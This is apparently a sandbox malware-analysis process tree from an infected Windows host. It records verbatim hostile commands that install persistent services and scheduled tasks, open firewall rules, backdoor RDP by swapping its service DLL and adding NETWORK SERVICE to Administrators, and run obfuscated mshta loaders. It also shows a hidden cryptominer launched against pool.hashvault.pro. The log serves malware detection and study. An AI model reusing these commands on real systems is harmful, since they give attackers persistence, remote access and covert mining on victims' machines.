C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=gpu-process --field-trial-handle=1696,14852152980587218817,6929074892959931828,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw5496_536619832" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=1712 /prefetch:25⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1696,14852152980587218817,6929074892959931828,131072 --lang=de --service-sandbox-type=utility --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw5496_536619832" --mojo-platform-channel-handle=2192 /prefetch:85⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=renderer --no-sandbox --file-url-path-alias="/gen=C:\Users\Admin\AppData\Roaming\Calculator\gen" --js-flags=--expose-gc --no-zygote --register-pepper-plugins=widevinecdmadapter.dll;application/x-ppapi-widevine-cdm --field-trial-handle=1696,14852152980587218817,6929074892959931828,131072 --lang=de --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw5496_536619832" --nwjs --extension-process --ppapi-flash-path=pepflashplayer.dll --ppapi-flash-version=32.0.0.223 --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --mojo-platform-channel-handle=2580 /prefetch:15⤵
- Executes dropped EXE
- Checks computer location settings
- Loads dropped DLL
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=renderer --no-sandbox --file-url-path-alias="/gen=C:\Users\Admin\AppData\Roaming\Calculator\gen" --js-flags=--expose-gc --no-zygote --register-pepper-plugins=widevinecdmadapter.dll;application/x-ppapi-widevine-cdm --field-trial-handle=1696,14852152980587218817,6929074892959931828,131072 --lang=de --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw5496_536619832" --nwjs --extension-process --ppapi-flash-path=pepflashplayer.dll --ppapi-flash-version=32.0.0.223 --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --mojo-platform-channel-handle=2668 /prefetch:15⤵
- Executes dropped EXE
- Checks computer location settings
- Loads dropped DLL
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=gpu-process --field-trial-handle=1696,14852152980587218817,6929074892959931828,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw5496_536619832" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --use-gl=swiftshader-webgl --mojo-platform-channel-handle=3148 /prefetch:25⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Loads dropped DLL
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1696,14852152980587218817,6929074892959931828,131072 --lang=de --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw5496_536619832" --mojo-platform-channel-handle=1724 /prefetch:85⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1696,14852152980587218817,6929074892959931828,131072 --lang=de --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw5496_536619832" --mojo-platform-channel-handle=3676 /prefetch:85⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1696,14852152980587218817,6929074892959931828,131072 --lang=de --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw5496_536619832" --mojo-platform-channel-handle=2796 /prefetch:85⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1696,14852152980587218817,6929074892959931828,131072 --lang=de --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw5496_536619832" --mojo-platform-channel-handle=1680 /prefetch:85⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1696,14852152980587218817,6929074892959931828,131072 --lang=de --service-sandbox-type=utility --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw5496_536619832" --mojo-platform-channel-handle=1020 /prefetch:85⤵
-
C:\Users\Admin\AppData\Local\Temp\814D.exeC:\Users\Admin\AppData\Local\Temp\814D.exe1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\814D.exeC:\Users\Admin\AppData\Local\Temp\814D.exe2⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
-
C:\Users\Admin\AppData\Local\Temp\A792.exeC:\Users\Admin\AppData\Local\Temp\A792.exe1⤵
- Executes dropped EXE
- Adds Run key to start application
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\akxyikbr\2⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\fkjhxdmb.exe" C:\Windows\SysWOW64\akxyikbr\2⤵
-
C:\Windows\SysWOW64\sc.exe"C:\Windows\System32\sc.exe" create akxyikbr binPath= "C:\Windows\SysWOW64\akxyikbr\fkjhxdmb.exe /d\"C:\Users\Admin\AppData\Local\Temp\A792.exe\"" type= own start= auto DisplayName= "wifi support"2⤵
-
C:\Windows\SysWOW64\sc.exe"C:\Windows\System32\sc.exe" description akxyikbr "wifi internet conection"2⤵
-
C:\Windows\SysWOW64\sc.exe"C:\Windows\System32\sc.exe" start akxyikbr2⤵
-
C:\Users\Admin\dihfvbkz.exe"C:\Users\Admin\dihfvbkz.exe" /d"C:\Users\Admin\AppData\Local\Temp\A792.exe"2⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\tuscfydo.exe" C:\Windows\SysWOW64\akxyikbr\3⤵
-
C:\Windows\SysWOW64\sc.exe"C:\Windows\System32\sc.exe" config akxyikbr binPath= "C:\Windows\SysWOW64\akxyikbr\tuscfydo.exe /d\"C:\Users\Admin\dihfvbkz.exe\""3⤵
-
C:\Windows\SysWOW64\sc.exe"C:\Windows\System32\sc.exe" start akxyikbr3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\4867.bat" "3⤵
-
C:\Windows\SysWOW64\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul3⤵
-
C:\Windows\SysWOW64\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul2⤵
-
C:\Users\Admin\AppData\Local\Temp\39E.exeC:\Users\Admin\AppData\Local\Temp\39E.exe1⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\AppData\Local\Temp\403B.exeC:\Users\Admin\AppData\Local\Temp\403B.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\46A4.exeC:\Users\Admin\AppData\Local\Temp\46A4.exe1⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
-
C:\Users\Admin\AppData\Local\Temp\A2EE.exeC:\Users\Admin\AppData\Local\Temp\A2EE.exe1⤵
- Executes dropped EXE
- Checks processor information in registry
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im A2EE.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\A2EE.exe" & del C:\ProgramData\*.dll & exit2⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im A2EE.exe /f3⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\timeout.exetimeout /t 63⤵
- Delays execution with timeout.exe
-
C:\Users\Admin\AppData\Local\Temp\DCEB.exeC:\Users\Admin\AppData\Local\Temp\DCEB.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\603c0340b4\sqtvvs.exe"C:\Users\Admin\AppData\Local\Temp\603c0340b4\sqtvvs.exe"2⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\603c0340b4\3⤵
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\603c0340b4\4⤵
-
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN sqtvvs.exe /TR "C:\Users\Admin\AppData\Local\Temp\603c0340b4\sqtvvs.exe" /F3⤵
- Creates scheduled task(s)
-
C:\Users\Admin\AppData\Local\Temp\EE22.exeC:\Users\Admin\AppData\Local\Temp\EE22.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\190C.exeC:\Users\Admin\AppData\Local\Temp\190C.exe1⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'2⤵
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\0xwz5c4y\0xwz5c4y.cmdline"3⤵
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESA536.tmp" "c:\Users\Admin\AppData\Local\Temp\0xwz5c4y\CSCA6B98D3F62F847259C5A7533F9473D0.TMP"4⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile3⤵
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f3⤵
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f3⤵
- Modifies registry key
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f3⤵
-
C:\Windows\system32\net.exe"C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add4⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr3⤵
-
C:\Windows\system32\cmd.execmd /c net start rdpdr4⤵
-
C:\Windows\system32\net.exenet start rdpdr5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 start rdpdr6⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c cmd /c net start TermService3⤵
-
C:\Windows\system32\cmd.execmd /c net start TermService4⤵
-
C:\Windows\system32\net.exenet start TermService5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 start TermService6⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f3⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f3⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\39C4.exeC:\Users\Admin\AppData\Local\Temp\39C4.exe1⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\6666.exe"C:\Users\Admin\AppData\Local\Temp\6666.exe"3⤵
-
C:\Windows\System32\conhost.exe"C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\6666.exe"4⤵
-
C:\Windows\System32\cmd.exe"cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\Admin\AppData\Local\Temp\services64.exe"5⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\Admin\AppData\Local\Temp\services64.exe"6⤵
- Creates scheduled task(s)
-
C:\Windows\System32\cmd.exe"cmd" cmd /c "C:\Users\Admin\AppData\Local\Temp\services64.exe"5⤵
-
C:\Users\Admin\AppData\Local\Temp\services64.exeC:\Users\Admin\AppData\Local\Temp\services64.exe6⤵
-
C:\Windows\System32\conhost.exe"C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\services64.exe"7⤵
-
C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"8⤵
-
C:\Windows\System32\conhost.exe"C:\Windows\System32\conhost.exe" "/sihost64"9⤵
-
C:\Users\Admin\AppData\Local\Temp\services64.exe"C:\Users\Admin\AppData\Local\Temp\services64.exe"10⤵
-
C:\Windows\System32\conhost.exe"C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\services64.exe"11⤵
-
C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"12⤵
-
C:\Windows\System32\conhost.exe"C:\Windows\System32\conhost.exe" "/sihost64"13⤵
-
C:\Users\Admin\AppData\Local\Temp\services64.exe"C:\Users\Admin\AppData\Local\Temp\services64.exe"14⤵
-
C:\Windows\System32\conhost.exe"C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\services64.exe"15⤵
-
C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"16⤵
- Executes dropped EXE
-
C:\Windows\System32\conhost.exe"C:\Windows\System32\conhost.exe" "/sihost64"17⤵
-
C:\Windows\System32\conhost.exeC:\Windows/System32\conhost.exe --cinit-find-x -B --algo="rx/0" --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=pool.hashvault.pro:80 --user=45JpPqakEn7EwqkL6WB28DLDt58UcCNARMdsAGo6VGdfUByVDFtFCxrNBD7UhWSNvGQCjvLgahxNrMc3T7szAVfj2JW7Kyq --pass=666 --cpu-max-threads-hint=90 --cinit-stealth-targets="+iU/trnPCTLD3p+slbva5u4EYOS6bvIPemCHGQx2WRUcnFdomWh6dhl5H5KbQCjp6yCYlsFu5LR1mi7nQAy56B+5doUwurAPvCael2sR/N4=" --cinit-kill-targets="" --cinit-idle-wait=5 --cinit-idle-cpu=50 --cinit-stealth --cinit-kill8⤵
-
C:\Users\Admin\AppData\Local\Temp\Haemotoxic.exe"C:\Users\Admin\AppData\Local\Temp\Haemotoxic.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\4657.exeC:\Users\Admin\AppData\Local\Temp\4657.exe1⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'2⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\fwd24vqw\fwd24vqw.cmdline"3⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES49C.tmp" "c:\Users\Admin\AppData\Local\Temp\fwd24vqw\CSCB97D66EC88674CEC949EE14EB448AE52.TMP"4⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile3⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile3⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile3⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f3⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f3⤵
- Modifies registry key
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add4⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr3⤵
-
C:\Windows\SysWOW64\cmd.execmd /c net start rdpdr4⤵
-
C:\Windows\SysWOW64\net.exenet start rdpdr5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start rdpdr6⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c cmd /c net start TermService3⤵
-
C:\Windows\SysWOW64\cmd.execmd /c net start TermService4⤵
-
C:\Windows\SysWOW64\net.exenet start TermService5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start TermService6⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f3⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f3⤵
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵
- Accesses Microsoft Outlook profiles
- outlook_office_path
- outlook_win_path
-
C:\Users\Admin\AppData\Local\Temp\57FC.exeC:\Users\Admin\AppData\Local\Temp\57FC.exe1⤵
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\938F.exeC:\Users\Admin\AppData\Local\Temp\938F.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\938F.exeC:\Users\Admin\AppData\Local\Temp\938F.exe2⤵
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Users\Admin\AppData\Local\0e928362-c86b-4933-9652-a702fa331007" /deny *S-1-1-0:(OI)(CI)(DE,DC)3⤵
- Modifies file permissions
-
C:\Users\Admin\AppData\Local\Temp\938F.exe"C:\Users\Admin\AppData\Local\Temp\938F.exe" --Admin IsNotAutoStart IsNotTask3⤵
-
C:\Users\Admin\AppData\Local\Temp\938F.exe"C:\Users\Admin\AppData\Local\Temp\938F.exe" --Admin IsNotAutoStart IsNotTask4⤵
-
C:\Users\Admin\AppData\Local\e8e10531-7466-4ac5-a0be-ce4ad8444117\build2.exe"C:\Users\Admin\AppData\Local\e8e10531-7466-4ac5-a0be-ce4ad8444117\build2.exe"5⤵
-
C:\Users\Admin\AppData\Local\e8e10531-7466-4ac5-a0be-ce4ad8444117\build2.exe"C:\Users\Admin\AppData\Local\e8e10531-7466-4ac5-a0be-ce4ad8444117\build2.exe"6⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im build2.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\e8e10531-7466-4ac5-a0be-ce4ad8444117\build2.exe" & del C:\ProgramData\*.dll & exit7⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im build2.exe /f8⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\timeout.exetimeout /t 68⤵
- Delays execution with timeout.exe
-
C:\Users\Admin\AppData\Local\e8e10531-7466-4ac5-a0be-ce4ad8444117\build3.exe"C:\Users\Admin\AppData\Local\e8e10531-7466-4ac5-a0be-ce4ad8444117\build3.exe"5⤵
-
C:\Users\Admin\AppData\Local\e8e10531-7466-4ac5-a0be-ce4ad8444117\build3.exe"C:\Users\Admin\AppData\Local\e8e10531-7466-4ac5-a0be-ce4ad8444117\build3.exe"6⤵
-
C:\Windows\SysWOW64\schtasks.exe/C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"7⤵
- Creates scheduled task(s)
-
C:\Users\Admin\AppData\Local\Temp\A320.exeC:\Users\Admin\AppData\Local\Temp\A320.exe1⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VBscRiPt:cloSE ( crEAtEoBjeCT ( "WscRiPT.ShelL" ). ruN ( "C:\Windows\system32\cmd.exe /r Type ""C:\Users\Admin\AppData\Local\Temp\A320.exe""> ..\ZYQ2GP.exE&& sTaRT ..\ZYQ2gP.EXE -pgQ8DrCnIS3kqp6Tt9RSrrwh402M & if """" == """" for %N IN ( ""C:\Users\Admin\AppData\Local\Temp\A320.exe"") do taskkill -f /im ""%~nXN"" " ,0 , TruE ) )2⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /r Type "C:\Users\Admin\AppData\Local\Temp\A320.exe"> ..\ZYQ2GP.exE&& sTaRT ..\ZYQ2gP.EXE -pgQ8DrCnIS3kqp6Tt9RSrrwh402M & if "" == "" for %N IN ( "C:\Users\Admin\AppData\Local\Temp\A320.exe") do taskkill -f /im "%~nXN"3⤵
-
C:\Users\Admin\AppData\Local\Temp\ZYQ2GP.exE..\ZYQ2gP.EXE -pgQ8DrCnIS3kqp6Tt9RSrrwh402M4⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VBscRiPt:cloSE ( crEAtEoBjeCT ( "WscRiPT.ShelL" ). ruN ( "C:\Windows\system32\cmd.exe /r Type ""C:\Users\Admin\AppData\Local\Temp\ZYQ2GP.exE""> ..\ZYQ2GP.exE&& sTaRT ..\ZYQ2gP.EXE -pgQ8DrCnIS3kqp6Tt9RSrrwh402M & if ""-pgQ8DrCnIS3kqp6Tt9RSrrwh402M "" == """" for %N IN ( ""C:\Users\Admin\AppData\Local\Temp\ZYQ2GP.exE"") do taskkill -f /im ""%~nXN"" " ,0 , TruE ) )5⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /r Type "C:\Users\Admin\AppData\Local\Temp\ZYQ2GP.exE"> ..\ZYQ2GP.exE&& sTaRT ..\ZYQ2gP.EXE -pgQ8DrCnIS3kqp6Tt9RSrrwh402M & if "-pgQ8DrCnIS3kqp6Tt9RSrrwh402M " == "" for %N IN ( "C:\Users\Admin\AppData\Local\Temp\ZYQ2GP.exE") do taskkill -f /im "%~nXN"6⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vBSCrIPt: cLOse( cReAtEObJeCt ( "wscRIpT.SHElL").rUN ( "C:\Windows\system32\cmd.exe /c EchO C%raNdom%rFh>7oZOQ.OD & EcHo | seT /P = ""MZ"" >L6yR3.WY& cOpY /B /Y L6yR3.WY + eEMjVORT.1 +TOpUY.KI+ VLtX.08A + zr5VW.4H + _CXO~XKa.O + 7oZOQ.OD ..\FGXAv.t1& dEl /Q *& STarT msiexec /y ..\FGXAv.t1 " , 0 , trUE ))5⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c EchO C%raNdom%rFh>7oZOQ.OD & EcHo | seT /P = "MZ" >L6yR3.WY& cOpY /B /Y L6yR3.WY + eEMjVORT.1 +TOpUY.KI+ VLtX.08A + zr5VW.4H + _CXO~XKa.O + 7oZOQ.OD ..\FGXAv.t1& dEl /Q *& STarT msiexec /y ..\FGXAv.t16⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" EcHo "7⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" seT /P = "MZ" 1>L6yR3.WY"7⤵
-
C:\Windows\SysWOW64\msiexec.exemsiexec /y ..\FGXAv.t17⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f /im "A320.exe"4⤵
- Kills process with taskkill
-
C:\Users\Admin\AppData\Local\Temp\A8DE.exeC:\Users\Admin\AppData\Local\Temp\A8DE.exe1⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im A8DE.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\A8DE.exe" & del C:\ProgramData\*.dll & exit2⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im A8DE.exe /f3⤵
- Executes dropped EXE
- Kills process with taskkill
-
C:\Windows\SysWOW64\timeout.exetimeout /t 63⤵
- Delays execution with timeout.exe
-
C:\Users\Admin\AppData\Roaming\shuddhtC:\Users\Admin\AppData\Roaming\shuddht1⤵
-
C:\Users\Admin\AppData\Roaming\jbuddhtC:\Users\Admin\AppData\Roaming\jbuddht1⤵
-
C:\Users\Admin\AppData\Local\Temp\603c0340b4\sqtvvs.exeC:\Users\Admin\AppData\Local\Temp\603c0340b4\sqtvvs.exe1⤵
-
C:\Users\Admin\AppData\Roaming\wfuddhtC:\Users\Admin\AppData\Roaming\wfuddht1⤵
- Executes dropped EXE
-
